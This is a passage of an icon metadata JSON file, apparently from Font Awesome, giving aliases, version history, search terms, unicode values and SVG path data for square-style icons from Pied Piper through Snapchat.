        "last_modified": 1684767392,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M384 32c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96C0 60.7 28.7 32 64 32H384zm-90.7 96.7c-9.7-2.6-19.9 2.3-23.7 11.6l-20 48c-3.4 8.2-1 17.6 5.8 23.2L280 231.7c-16.6 35.2-45.1 63.7-80.3 80.3l-20.2-24.7c-5.6-6.8-15-9.2-23.2-5.8l-48 20c-9.3 3.9-14.2 14-11.6 23.7l12 44C111.1 378 119 384 128 384c123.7 0 224-100.3 224-224c0-9-6-16.9-14.7-19.3l-44-12z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M384 32c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96C0 60.7 28.7 32 64 32H384zm-90.7 96.7c-9.7-2.6-19.9 2.3-23.7 11.6l-20 48c-3.4 8.2-1 17.6 5.8 23.2L280 231.7c-16.6 35.2-45.1 63.7-80.3 80.3l-20.2-24.7c-5.6-6.8-15-9.2-23.2-5.8l-48 20c-9.3 3.9-14.2 14-11.6 23.7l12 44C111.1 378 119 384 128 384c123.7 0 224-100.3 224-224c0-9-6-16.9-14.7-19.3l-44-12z"
      }
    },
    "free": ["solid"]
  },
  "square-pied-piper": {
    "aliases": {
      "names": ["pied-piper-square"]
    },
    "changes": ["5.12.0", "5.14.0", "6.1.2"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e01e",
    "label": "Pied Piper Square Logo (Old)",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014467,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M32 419L0 479.2l.8-328C.8 85.3 54 32 120 32h327.2c-93 28.9-189.9 94.2-253.9 168.6C122.7 282 82.6 338 32 419M448 32S305.2 98.8 261.6 199.1c-23.2 53.6-28.9 118.1-71 158.6-28.9 27.8-69.8 38.2-105.3 56.3-23.2 12-66.4 40.5-84.9 66h328.4c66 0 119.3-53.3 119.3-119.2-.1 0-.1-328.8-.1-328.8z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M32 419L0 479.2l.8-328C.8 85.3 54 32 120 32h327.2c-93 28.9-189.9 94.2-253.9 168.6C122.7 282 82.6 338 32 419M448 32S305.2 98.8 261.6 199.1c-23.2 53.6-28.9 118.1-71 158.6-28.9 27.8-69.8 38.2-105.3 56.3-23.2 12-66.4 40.5-84.9 66h328.4c66 0 119.3-53.3 119.3-119.2-.1 0-.1-328.8-.1-328.8z"
      }
    },
    "free": ["brands"]
  },
  "square-pinterest": {
    "aliases": {
      "names": ["pinterest-square"]
    },
    "changes": ["2.0.0", "5.0.0", "6.1.2"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f0d3",
    "label": "Pinterest Square",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014471,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M448 80v352c0 26.5-21.5 48-48 48H154.4c9.8-16.4 22.4-40 27.4-59.3 3-11.5 15.3-58.4 15.3-58.4 8 15.3 31.4 28.2 56.3 28.2 74.1 0 127.4-68.1 127.4-152.7 0-81.1-66.2-141.8-151.4-141.8-106 0-162.2 71.1-162.2 148.6 0 36 19.2 80.8 49.8 95.1 4.7 2.2 7.1 1.2 8.2-3.3.8-3.4 5-20.1 6.8-27.8.6-2.5.3-4.6-1.7-7-10.1-12.3-18.3-34.9-18.3-56 0-54.2 41-106.6 110.9-106.6 60.3 0 102.6 41.1 102.6 99.9 0 66.4-33.5 112.4-77.2 112.4-24.1 0-42.1-19.9-36.4-44.4 6.9-29.2 20.3-60.7 20.3-81.8 0-53-75.5-45.7-75.5 25 0 21.7 7.3 36.5 7.3 36.5-31.4 132.8-36.1 134.5-29.6 192.6l2.2.8H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M448 80v352c0 26.5-21.5 48-48 48H154.4c9.8-16.4 22.4-40 27.4-59.3 3-11.5 15.3-58.4 15.3-58.4 8 15.3 31.4 28.2 56.3 28.2 74.1 0 127.4-68.1 127.4-152.7 0-81.1-66.2-141.8-151.4-141.8-106 0-162.2 71.1-162.2 148.6 0 36 19.2 80.8 49.8 95.1 4.7 2.2 7.1 1.2 8.2-3.3.8-3.4 5-20.1 6.8-27.8.6-2.5.3-4.6-1.7-7-10.1-12.3-18.3-34.9-18.3-56 0-54.2 41-106.6 110.9-106.6 60.3 0 102.6 41.1 102.6 99.9 0 66.4-33.5 112.4-77.2 112.4-24.1 0-42.1-19.9-36.4-44.4 6.9-29.2 20.3-60.7 20.3-81.8 0-53-75.5-45.7-75.5 25 0 21.7 7.3 36.5 7.3 36.5-31.4 132.8-36.1 134.5-29.6 192.6l2.2.8H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48z"
      }
    },
    "free": ["brands"]
  },
  "square-plus": {
    "aliases": {
      "names": ["plus-square"],
      "unicodes": {
        "composite": ["f196"],
        "secondary": ["10f0fe"]
      }
    },
    "changes": [
      "3.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["add", "create", "expand", "new", "positive", "shape"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f0fe",
    "label": "Square Plus",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767552,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM200 344V280H136c-13.3 0-24-10.7-24-24s10.7-24 24-24h64V168c0-13.3 10.7-24 24-24s24 10.7 24 24v64h64c13.3 0 24 10.7 24 24s-10.7 24-24 24H248v64c0 13.3-10.7 24-24 24s-24-10.7-24-24z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM200 344V280H136c-13.3 0-24-10.7-24-24s10.7-24 24-24h64V168c0-13.3 10.7-24 24-24s24 10.7 24 24v64h64c13.3 0 24 10.7 24 24s-10.7 24-24 24H248v64c0 13.3-10.7 24-24 24s-24-10.7-24-24z"
      },
      "regular": {
        "last_modified": 1684767552,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M64 80c-8.8 0-16 7.2-16 16V416c0 8.8 7.2 16 16 16H384c8.8 0 16-7.2 16-16V96c0-8.8-7.2-16-16-16H64zM0 96C0 60.7 28.7 32 64 32H384c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96zM200 344V280H136c-13.3 0-24-10.7-24-24s10.7-24 24-24h64V168c0-13.3 10.7-24 24-24s24 10.7 24 24v64h64c13.3 0 24 10.7 24 24s-10.7 24-24 24H248v64c0 13.3-10.7 24-24 24s-24-10.7-24-24z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M64 80c-8.8 0-16 7.2-16 16V416c0 8.8 7.2 16 16 16H384c8.8 0 16-7.2 16-16V96c0-8.8-7.2-16-16-16H64zM0 96C0 60.7 28.7 32 64 32H384c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96zM200 344V280H136c-13.3 0-24-10.7-24-24s10.7-24 24-24h64V168c0-13.3 10.7-24 24-24s24 10.7 24 24v64h64c13.3 0 24 10.7 24 24s-10.7 24-24 24H248v64c0 13.3-10.7 24-24 24s-24-10.7-24-24z"
      }
    },
    "free": ["regular", "solid"]
  },
  "square-poll-horizontal": {
    "aliases": {
      "names": ["poll-h"],
      "unicodes": {
        "secondary": ["10f682"]
      }
    },
    "changes": [
      "5.3.0",
      "5.10.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "chart",
        "graph",
        "results",
        "survey",
        "trend",
        "vote",
        "voting"
      ]
    },
    "styles": ["solid"],
    "unicode": "f682",
    "label": "Square Poll Horizontal",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767207,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M448 96c0-35.3-28.7-64-64-64L64 32C28.7 32 0 60.7 0 96L0 416c0 35.3 28.7 64 64 64l320 0c35.3 0 64-28.7 64-64l0-320zM256 160c0 17.7-14.3 32-32 32l-96 0c-17.7 0-32-14.3-32-32s14.3-32 32-32l96 0c17.7 0 32 14.3 32 32zm64 64c17.7 0 32 14.3 32 32s-14.3 32-32 32l-192 0c-17.7 0-32-14.3-32-32s14.3-32 32-32l192 0zM192 352c0 17.7-14.3 32-32 32l-32 0c-17.7 0-32-14.3-32-32s14.3-32 32-32l32 0c17.7 0 32 14.3 32 32z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M448 96c0-35.3-28.7-64-64-64L64 32C28.7 32 0 60.7 0 96L0 416c0 35.3 28.7 64 64 64l320 0c35.3 0 64-28.7 64-64l0-320zM256 160c0 17.7-14.3 32-32 32l-96 0c-17.7 0-32-14.3-32-32s14.3-32 32-32l96 0c17.7 0 32 14.3 32 32zm64 64c17.7 0 32 14.3 32 32s-14.3 32-32 32l-192 0c-17.7 0-32-14.3-32-32s14.3-32 32-32l192 0zM192 352c0 17.7-14.3 32-32 32l-32 0c-17.7 0-32-14.3-32-32s14.3-32 32-32l32 0c17.7 0 32 14.3 32 32z"
      }
    },
    "free": ["solid"]
  },
  "square-poll-vertical": {
    "aliases": {
      "names": ["poll"],
      "unicodes": {
        "secondary": ["10f681"]
      }
    },
    "changes": [
      "5.3.0",
      "5.10.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "chart",
        "graph",
        "results",
        "survey",
        "trend",
        "vote",
        "voting"
      ]
    },
    "styles": ["solid"],
    "unicode": "f681",
    "label": "Square Poll Vertical",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767207,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zm64 192c17.7 0 32 14.3 32 32v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V256c0-17.7 14.3-32 32-32zm64-64c0-17.7 14.3-32 32-32s32 14.3 32 32V352c0 17.7-14.3 32-32 32s-32-14.3-32-32V160zM320 288c17.7 0 32 14.3 32 32v32c0 17.7-14.3 32-32 32s-32-14.3-32-32V320c0-17.7 14.3-32 32-32z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zm64 192c17.7 0 32 14.3 32 32v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V256c0-17.7 14.3-32 32-32zm64-64c0-17.7 14.3-32 32-32s32 14.3 32 32V352c0 17.7-14.3 32-32 32s-32-14.3-32-32V160zM320 288c17.7 0 32 14.3 32 32v32c0 17.7-14.3 32-32 32s-32-14.3-32-32V320c0-17.7 14.3-32 32-32z"
      }
    },
    "free": ["solid"]
  },
  "square-reddit": {
    "aliases": {
      "names": ["reddit-square"]
    },
    "changes": ["4.1.0", "5.0.0", "6.1.2"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f1a2",
    "label": "reddit Square",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014481,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M283.2 345.5c2.7 2.7 2.7 6.8 0 9.2-24.5 24.5-93.8 24.6-118.4 0-2.7-2.4-2.7-6.5 0-9.2 2.4-2.4 6.5-2.4 8.9 0 18.7 19.2 81 19.6 100.5 0 2.4-2.3 6.6-2.3 9 0zm-91.3-53.8c0-14.9-11.9-26.8-26.5-26.8-14.9 0-26.8 11.9-26.8 26.8 0 14.6 11.9 26.5 26.8 26.5 14.6 0 26.5-11.9 26.5-26.5zm90.7-26.8c-14.6 0-26.5 11.9-26.5 26.8 0 14.6 11.9 26.5 26.5 26.5 14.9 0 26.8-11.9 26.8-26.5 0-14.9-11.9-26.8-26.8-26.8zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-99.7 140.6c-10.1 0-19 4.2-25.6 10.7-24.1-16.7-56.5-27.4-92.5-28.6l18.7-84.2 59.5 13.4c0 14.6 11.9 26.5 26.5 26.5 14.9 0 26.8-12.2 26.8-26.8 0-14.6-11.9-26.8-26.8-26.8-10.4 0-19.3 6.2-23.8 14.9l-65.7-14.6c-3.3-.9-6.5 1.5-7.4 4.8l-20.5 92.8c-35.7 1.5-67.8 12.2-91.9 28.9-6.5-6.8-15.8-11-25.9-11-37.5 0-49.8 50.4-15.5 67.5-1.2 5.4-1.8 11-1.8 16.7 0 56.5 63.7 102.3 141.9 102.3 78.5 0 142.2-45.8 142.2-102.3 0-5.7-.6-11.6-2.1-17 33.6-17.2 21.2-67.2-16.1-67.2z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M283.2 345.5c2.7 2.7 2.7 6.8 0 9.2-24.5 24.5-93.8 24.6-118.4 0-2.7-2.4-2.7-6.5 0-9.2 2.4-2.4 6.5-2.4 8.9 0 18.7 19.2 81 19.6 100.5 0 2.4-2.3 6.6-2.3 9 0zm-91.3-53.8c0-14.9-11.9-26.8-26.5-26.8-14.9 0-26.8 11.9-26.8 26.8 0 14.6 11.9 26.5 26.8 26.5 14.6 0 26.5-11.9 26.5-26.5zm90.7-26.8c-14.6 0-26.5 11.9-26.5 26.8 0 14.6 11.9 26.5 26.5 26.5 14.9 0 26.8-11.9 26.8-26.5 0-14.9-11.9-26.8-26.8-26.8zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-99.7 140.6c-10.1 0-19 4.2-25.6 10.7-24.1-16.7-56.5-27.4-92.5-28.6l18.7-84.2 59.5 13.4c0 14.6 11.9 26.5 26.5 26.5 14.9 0 26.8-12.2 26.8-26.8 0-14.6-11.9-26.8-26.8-26.8-10.4 0-19.3 6.2-23.8 14.9l-65.7-14.6c-3.3-.9-6.5 1.5-7.4 4.8l-20.5 92.8c-35.7 1.5-67.8 12.2-91.9 28.9-6.5-6.8-15.8-11-25.9-11-37.5 0-49.8 50.4-15.5 67.5-1.2 5.4-1.8 11-1.8 16.7 0 56.5 63.7 102.3 141.9 102.3 78.5 0 142.2-45.8 142.2-102.3 0-5.7-.6-11.6-2.1-17 33.6-17.2 21.2-67.2-16.1-67.2z"
      }
    },
    "free": ["brands"]
  },
  "square-root-variable": {
    "aliases": {
      "names": ["square-root-alt"],
      "unicodes": {
        "secondary": ["10f698"]
      }
    },
    "changes": ["5.3.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["arithmetic", "calculus", "division", "math"]
    },
    "styles": ["solid"],
    "unicode": "f698",
    "label": "Square Root Variable",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767245,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M282.6 78.1c8-27.3 33-46.1 61.4-46.1H544c17.7 0 32 14.3 32 32s-14.3 32-32 32H344L238.7 457c-3.6 12.3-14.1 21.2-26.8 22.8s-25.1-4.6-31.5-15.6L77.6 288H32c-17.7 0-32-14.3-32-32s14.3-32 32-32H77.6c22.8 0 43.8 12.1 55.3 31.8l65.2 111.8L282.6 78.1zM393.4 233.4c12.5-12.5 32.8-12.5 45.3 0L480 274.7l41.4-41.4c12.5-12.5 32.8-12.5 45.3 0s12.5 32.8 0 45.3L525.3 320l41.4 41.4c12.5 12.5 12.5 32.8 0 45.3s-32.8 12.5-45.3 0L480 365.3l-41.4 41.4c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3L434.7 320l-41.4-41.4c-12.5-12.5-12.5-32.8 0-45.3z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M282.6 78.1c8-27.3 33-46.1 61.4-46.1H544c17.7 0 32 14.3 32 32s-14.3 32-32 32H344L238.7 457c-3.6 12.3-14.1 21.2-26.8 22.8s-25.1-4.6-31.5-15.6L77.6 288H32c-17.7 0-32-14.3-32-32s14.3-32 32-32H77.6c22.8 0 43.8 12.1 55.3 31.8l65.2 111.8L282.6 78.1zM393.4 233.4c12.5-12.5 32.8-12.5 45.3 0L480 274.7l41.4-41.4c12.5-12.5 32.8-12.5 45.3 0s12.5 32.8 0 45.3L525.3 320l41.4 41.4c12.5 12.5 12.5 32.8 0 45.3s-32.8 12.5-45.3 0L480 365.3l-41.4 41.4c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3L434.7 320l-41.4-41.4c-12.5-12.5-12.5-32.8 0-45.3z"
      }
    },
    "free": ["solid"]
  },
  "square-rss": {
    "aliases": {
      "names": ["rss-square"],
      "unicodes": {
        "secondary": ["10f143"]
      }
    },
    "changes": ["3.1.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["blog", "feed", "journal", "news", "writing"]
    },
    "styles": ["solid"],
    "unicode": "f143",
    "label": "Square Rss",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766676,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM96 136c0-13.3 10.7-24 24-24c137 0 248 111 248 248c0 13.3-10.7 24-24 24s-24-10.7-24-24c0-110.5-89.5-200-200-200c-13.3 0-24-10.7-24-24zm0 96c0-13.3 10.7-24 24-24c83.9 0 152 68.1 152 152c0 13.3-10.7 24-24 24s-24-10.7-24-24c0-57.4-46.6-104-104-104c-13.3 0-24-10.7-24-24zm0 120a32 32 0 1 1 64 0 32 32 0 1 1 -64 0z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM96 136c0-13.3 10.7-24 24-24c137 0 248 111 248 248c0 13.3-10.7 24-24 24s-24-10.7-24-24c0-110.5-89.5-200-200-200c-13.3 0-24-10.7-24-24zm0 96c0-13.3 10.7-24 24-24c83.9 0 152 68.1 152 152c0 13.3-10.7 24-24 24s-24-10.7-24-24c0-57.4-46.6-104-104-104c-13.3 0-24-10.7-24-24zm0 120a32 32 0 1 1 64 0 32 32 0 1 1 -64 0z"
      }
    },
    "free": ["solid"]
  },
  "square-share-nodes": {
    "aliases": {
      "names": ["share-alt-square"],
      "unicodes": {
        "secondary": ["10f1e1"]
      }
    },
    "changes": [
      "4.1.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["forward", "save", "send", "social"]
    },
    "styles": ["solid"],
    "unicode": "f1e1",
    "label": "Square Share Nodes",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767551,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM384 160c0 35.3-28.7 64-64 64c-15.4 0-29.5-5.4-40.6-14.5L194.1 256l85.3 46.5c11-9.1 25.2-14.5 40.6-14.5c35.3 0 64 28.7 64 64s-28.7 64-64 64s-64-28.7-64-64c0-2.5 .1-4.9 .4-7.3L174.5 300c-11.7 12.3-28.2 20-46.5 20c-35.3 0-64-28.7-64-64s28.7-64 64-64c18.3 0 34.8 7.7 46.5 20l81.9-44.7c-.3-2.4-.4-4.9-.4-7.3c0-35.3 28.7-64 64-64s64 28.7 64 64z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM384 160c0 35.3-28.7 64-64 64c-15.4 0-29.5-5.4-40.6-14.5L194.1 256l85.3 46.5c11-9.1 25.2-14.5 40.6-14.5c35.3 0 64 28.7 64 64s-28.7 64-64 64s-64-28.7-64-64c0-2.5 .1-4.9 .4-7.3L174.5 300c-11.7 12.3-28.2 20-46.5 20c-35.3 0-64-28.7-64-64s28.7-64 64-64c18.3 0 34.8 7.7 46.5 20l81.9-44.7c-.3-2.4-.4-4.9-.4-7.3c0-35.3 28.7-64 64-64s64 28.7 64 64z"
      }
    },
    "free": ["solid"]
  },
  "square-snapchat": {
    "aliases": {
      "names": ["snapchat-square"]
    },
    "changes": ["4.6.0", "5.0.0", "6.0.0-beta1", "6.1.2"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f2ad",
    "label": "Snapchat Square",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014480,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M384,32H64A64,64,0,0,0,0,96V416a64,64,0,0,0,64,64H384a64,64,0,0,0,64-64V96A64,64,0,0,0,384,32Zm-3.907,319.309-.083.1a32.364,32.364,0,0,1-8.717,6.823,90.26,90.26,0,0,1-20.586,8.2,12.694,12.694,0,0,0-3.852,1.76c-2.158,1.909-2.1,4.64-4.4,8.55a23.137,23.137,0,0,1-6.84,7.471c-6.707,4.632-14.244,4.923-22.23,5.23-7.214.274-15.39.581-24.729,3.669-3.761,1.245-7.753,3.694-12.377,6.533-11.265,6.9-26.68,16.353-52.3,16.353s-40.925-9.4-52.106-16.279c-4.657-2.888-8.675-5.362-12.543-6.64-9.339-3.08-17.516-3.4-24.729-3.67-7.986-.307-15.523-.6-22.231-5.229a23.085,23.085,0,0,1-6.01-6.11c-3.2-4.632-2.855-7.8-5.254-9.895a13.428,13.428,0,0,0-4.1-1.834,89.986,89.986,0,0,1-20.313-8.127,32.905,32.905,0,0,1-8.3-6.284c-6.583-6.757-8.276-14.776-5.686-21.824,3.436-9.338,11.571-12.111,19.4-16.262,14.776-8.027,26.348-18.055,34.433-29.884a68.236,68.236,0,0,0,5.985-10.567c.789-2.158.772-3.329.241-4.416a7.386,7.386,0,0,0-2.208-2.217c-2.532-1.676-5.113-3.353-6.882-4.5-3.27-2.141-5.868-3.818-7.529-4.98-6.267-4.383-10.65-9.04-13.4-14.245a28.4,28.4,0,0,1-1.369-23.584c4.134-10.924,14.469-17.706,26.978-17.706a37.141,37.141,0,0,1,7.845.83c.689.15,1.37.307,2.042.482-.108-7.43.058-15.357.722-23.119,2.358-27.261,11.912-41.589,21.874-52.994a86.836,86.836,0,0,1,22.28-17.931C188.254,100.383,205.312,96,224,96s35.828,4.383,50.944,13.016a87.169,87.169,0,0,1,22.239,17.9c9.961,11.406,19.516,25.709,21.874,52.995a231.194,231.194,0,0,1,.713,23.118c.673-.174,1.362-.332,2.051-.481a37.131,37.131,0,0,1,7.844-.83c12.5,0,22.82,6.782,26.971,17.706a28.37,28.37,0,0,1-1.4,23.559c-2.74,5.2-7.123,9.861-13.39,14.244-1.668,1.187-4.258,2.864-7.529,4.981-1.835,1.187-4.541,2.947-7.164,4.682a6.856,6.856,0,0,0-1.951,2.034c-.506,1.046-.539,2.191.166,4.208a69.015,69.015,0,0,0,6.085,10.792c8.268,12.1,20.188,22.313,35.454,30.407,1.486.772,2.98,1.5,4.441,2.258.722.332,1.569.763,2.491,1.3,4.9,2.723,9.2,6.01,11.455,12.153C387.821,336.915,386.269,344.7,380.093,351.309Zm-16.719-18.461c-50.313-24.314-58.332-61.918-58.689-64.749-.431-3.379-.921-6.035,2.806-9.472,3.594-3.328,19.541-13.19,23.965-16.278,7.33-5.114,10.534-10.219,8.16-16.495-1.66-4.316-5.686-5.976-9.961-5.976a18.5,18.5,0,0,0-3.993.448c-8.035,1.743-15.838,5.769-20.354,6.857a7.1,7.1,0,0,1-1.66.224c-2.408,0-3.279-1.071-3.088-3.968.564-8.783,1.759-25.925.373-41.937-1.884-22.032-8.99-32.948-17.432-42.6-4.051-4.624-23.135-24.654-59.536-24.654S168.53,134.359,164.479,139c-8.434,9.654-15.531,20.57-17.432,42.6-1.386,16.013-.141,33.147.373,41.937.166,2.756-.68,3.968-3.088,3.968a7.1,7.1,0,0,1-1.66-.224c-4.507-1.087-12.31-5.113-20.346-6.856a18.494,18.494,0,0,0-3.993-.449c-4.25,0-8.3,1.636-9.961,5.977-2.374,6.276.847,11.381,8.168,16.494,4.425,3.088,20.371,12.958,23.966,16.279,3.719,3.437,3.237,6.093,2.805,9.471-.356,2.79-8.384,40.394-58.689,64.749-2.946,1.428-7.96,4.45.88,9.331,13.88,7.628,23.111,6.807,30.3,11.43,6.093,3.927,2.5,12.394,6.923,15.449,5.454,3.76,21.583-.266,42.335,6.6,17.433,5.744,28.116,22.015,58.963,22.015s41.788-16.3,58.938-21.973c20.795-6.865,36.89-2.839,42.336-6.6,4.433-3.055.822-11.522,6.923-15.448,7.181-4.624,16.411-3.8,30.3-11.472C371.36,337.355,366.346,334.333,363.374,332.848Z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M384,32H64A64,64,0,0,0,0,96V416a64,64,0,0,0,64,64H384a64,64,0,0,0,64-64V96A64,64,0,0,0,384,32Zm-3.907,319.309-.083.1a32.364,32.364,0,0,1-8.717,6.823,90.26,90.26,0,0,1-20.586,8.2,12.694,12.694,0,0,0-3.852,1.76c-2.158,1.909-2.1,4.64-4.4,8.55a23.137,23.137,0,0,1-6.84,7.471c-6.707,4.632-14.244,4.923-22.23,5.23-7.214.274-15.39.581-24.729,3.669-3.761,1.245-7.753,3.694-12.377,6.533-11.265,6.9-26.68,16.353-52.3,16.353s-40.925-9.4-52.106-16.279c-4.657-2.888-8.675-5.362-12.543-6.64-9.339-3.08-17.516-3.4-24.729-3.67-7.986-.307-15.523-.6-22.231-5.229a23.085,23.085,0,0,1-6.01-6.11c-3.2-4.632-2.855-7.8-5.254-9.895a13.428,13.428,0,0,0-4.1-1.834,89.986,89.986,0,0,1-20.313-8.127,32.905,32.905,0,0,1-8.3-6.284c-6.583-6.757-8.276-14.776-5.686-21.824,3.436-9.338,11.571-12.111,19.4-16.262,14.776-8.027,26.348-18.055,34.433-29.884a68.236,68.236,0,0,0,5.985-10.567c.789-2.158.772-3.329.241-4.416a7.386,7.386,0,0,0-2.208-2.217c-2.532-1.676-5.113-3.353-6.882-4.5-3.27-2.141-5.868-3.818-7.529-4.98-6.267-4.383-10.65-9.04-13.4-14.245a28.4,28.4,0,0,1-1.369-23.584c4.134-10.924,14.469-17.706,26.978-17.706a37.141,37.141,0,0,1,7.845.83c.689.15,1.37.307,2.042.482-.108-7.43.058-15.357.722-23.119,2.358-27.261,11.912-41.589,21.874-52.994a86.836,86.836,0,0,1,22.28-17.931C188.254,100.383,205.312,96,224,96s35.828,4.383,50.944,13.016a87.169,87.169,0,0,1,22.239,17.9c9.961,11.406,19.516,25.709,21.874,52.995a231.194,231.194,0,0,1,.713,23.118c.673-.174,1.362-.332,2.051-.481a37.131,37.131,0,0,1,7.844-.83c12.5,0,22.82,6.782,26.971,17.706a28.37,28.37,0,0,1-1.4,23.559c-2.74,5.2-7.123,9.861-13.39,14.244-1.668,1.187-4.258,2.864-7.529,4.981-1.835,1.187-4.541,2.947-7.164,4.682a6.856,6.856,0,0,0-1.951,2.034c-.506,1.046-.539,2.191.166,4.208a69.015,69.015,0,0,0,6.085,10.792c8.268,12.1,20.188,22.313,35.454,30.407,1.486.772,2.98,1.5,4.441,2.258.722.332,1.569.763,2.491,1.3,4.9,2.723,9.2,6.01,11.455,12.153C387.821,336.915,386.269,344.7,380.093,351.309Zm-16.719-18.461c-50.313-24.314-58.332-61.918-58.689-64.749-.431-3.379-.921-6.035,2.806-9.472,3.594-3.328,19.541-13.19,23.965-16.278,7.33-5.114,10.